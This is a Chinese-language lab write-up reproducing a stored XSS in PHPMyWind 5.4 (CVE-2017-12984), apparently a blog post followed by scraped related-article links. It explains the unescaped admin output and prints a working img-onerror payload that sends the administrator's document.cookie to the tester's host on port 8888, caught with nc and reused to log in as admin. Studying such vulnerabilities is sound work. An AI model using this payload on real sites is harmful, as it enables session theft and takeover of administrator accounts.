PHPMyWind5.4存储XSS(CVE-2017-12984)
0x0 环境
操作机:xp 192.168.110.128
目标:win2003 192.168.110.133
目标cms:PHPMyWind5.4
0x11 漏洞介绍
允许恶意访问者在客户留言处插入XSS利用语句,执行JS代码获取cookie,从而获取网站管理员权限。漏洞存在于message_update.php文件中的content参数。
漏洞影响版本:phpMyWind version <= 5.4
0x12 漏洞成因
处理客户留言内容的关键代码在message.php文件的第29行和34行

先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,进行过滤,然后存储至数据库中,也就是对数据的入库进行了处理,这里并没有问题。
然后,我们再看看管理员修改留言的处理方式,代码在admin/ message_update.php文件的第26行,跟进$content参数,可以看到直接读取content内容并显示,也就是说数据的出库未进行处理造成XSS漏洞。

0x2 漏洞演示
1.操作机访问目标,首页-留言处输入xss测试代码
<img src=# onerror=alert("hello"); >

2.目标机在后台/admin登陆,打开模块扩展管理-留言模块管理,对留言修改,触发xss,证明漏洞存在

3.操作机获取管理员cookie
代码:
<img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.110.128:8888/?='+document.cookie); >

通过img标签的图片报错onerror事件将document.cookie获取的Cookie信息发送至xp的8888端口上
4.操作机监听8888端口,当管理员(win2003)修改留言时,nc收到cookie

5.操作机通过得到的cookie登陆后台页面即可以管理员身份登陆


0x3 修复
升级最新版本
0x4 问题总结
复现时,在0x2的第4步出现问题,xp的nc监听不到信息,一开始怀疑是网络问题,数据包没发过来,或者发过来了xp的防火墙挡了,尝试从2003 ping xp,超时,关掉xp防火墙后,ping成功了,但还是监听不到cookie,于是怀疑数据包根本没发,即js没执行,一开始2003用的是ie,看不到网络请求信息,装上火狐后再打开xss的修改留言,发现xp收到了cookie,具体原因未知
有感,xss的成功与否,还和目标使用的浏览器有关
0x5 参考资料
http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/
https://www.ichunqiu.com/experiment/detail?id=60913&source=1
PHPMyWind5.4存储XSS(CVE-2017-12984)的更多相关文章
- PHPMyWind5.4存储XSS后续getshell提权
0x0 前言 通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台: https://www.cnblogs.com/Rain99-/p/10701769.html 现在要从后台入手,进 ...
- Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散
Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...
- 91网漏洞打包#越权+爆破+存储xss可打cookie
漏洞一.主站存在登录口爆破 抓包,爆破一下 爆破成功 漏洞二.检测app时一处存储xss 在app登录后 我要提问那里插入xss 然后弹窗 可以打到cookie 漏洞三.app个人资料处平行越权可查看 ...
- 宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell
对于宝塔漏洞复现和练习 0×00 什么是宝塔面板 宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统.一键配置:LAMP / LNMP ,网站,数据库 ...
- node 解决存储xss风险报告
1. 安装 xss模块 npm install xss 2.在 Node.js 中使用 const xss = require("xss"); // 在项目的接口里面添加 let ...
- Dedecms最新版本存储型XSS
由于编辑文章的模板参数 typeid2可控,导致存储XSS发生. dedecms/dede/templets/article_edit.htm页面316-325行代码如下: <tr> &l ...
- 存储型XSS的发现经历和一点绕过思路
再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...
- DVWA(七):XSS(stored)存储型XSS攻击
存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
随机推荐
- windows服务器安装telnet的方法指引
摘要: 1.telnet是一种网络排查的工具 2.当发现一台服务器异常的时候,通常有两个cmd命名做排查 3.ping 服务器ip,看网络是否联通 4.telnet 服务器ip 端口 看该服务器指定端 ...
- 阿里八八Alpha阶段Scrum(2/12)
今日进度 叶文滔: 11.1:搭建Andriod Studio开发环境 11.2:已经完成Alpha阶段的APP整体框架搭建. 11.3:根据会议讨论内容,增加了模块标题栏返回键. 王国超: 完成了多 ...
- 关于react的一点工作总结
首先,react是Facebook开发的一套前端框架,仅仅是MVC中的V.核心思想是“封装组件”,组件封装后可以作为一个独立的实体被引入到新的组件中,这样新的组件就又是一个实体了,由于组件的实现了可复 ...
- BZOJ 1087 互不侵犯King 状态压缩DP
题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=1087 题目大意; 在N×N的棋盘里面放K个国王,使他们互不攻击,共有多少种摆放方案.国 ...
- Jquery简单的placeholder效果
Jquery简单的placeholder效果 由于IE6-IE9不支持HTML5中的placeholder,所以自己依赖于Jquery简单的写了一个,供参考! 先看看效果吧!如下JSFiddle地址 ...
- HDU 3592 World Exhibition(线性差分约束,spfa跑最短路+判断负环)
World Exhibition Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) ...
- 添加静态路由 route add -host 子网掩码 -- 在线解析
1.215 ----- R(172.16.0.1) <--------- gw(61.146.164.109) | ...
- day80
昨日回顾 上节回顾: 中间件: -django请求生命周期: -中间件:对全局请求的修改,和全局响应的修改 -process_request:从上往下执行 -process_response:从下往上 ...
- Python开发简单爬虫
简单爬虫框架: 爬虫调度器 -> URL管理器 -> 网页下载器(urllib2) -> 网页解析器(BeautifulSoup) -> 价值数据 Demo1: # codin ...
- springboot mybatis 后台框架平台 集成代码生成器 shiro 权限
1.代码生成器: [正反双向](单表.主表.明细表.树形表,快速开发利器)freemaker模版技术 ,0个代码不用写,生成完整的一个模块,带页面.建表sql脚本.处理类.service等完整模块2. ...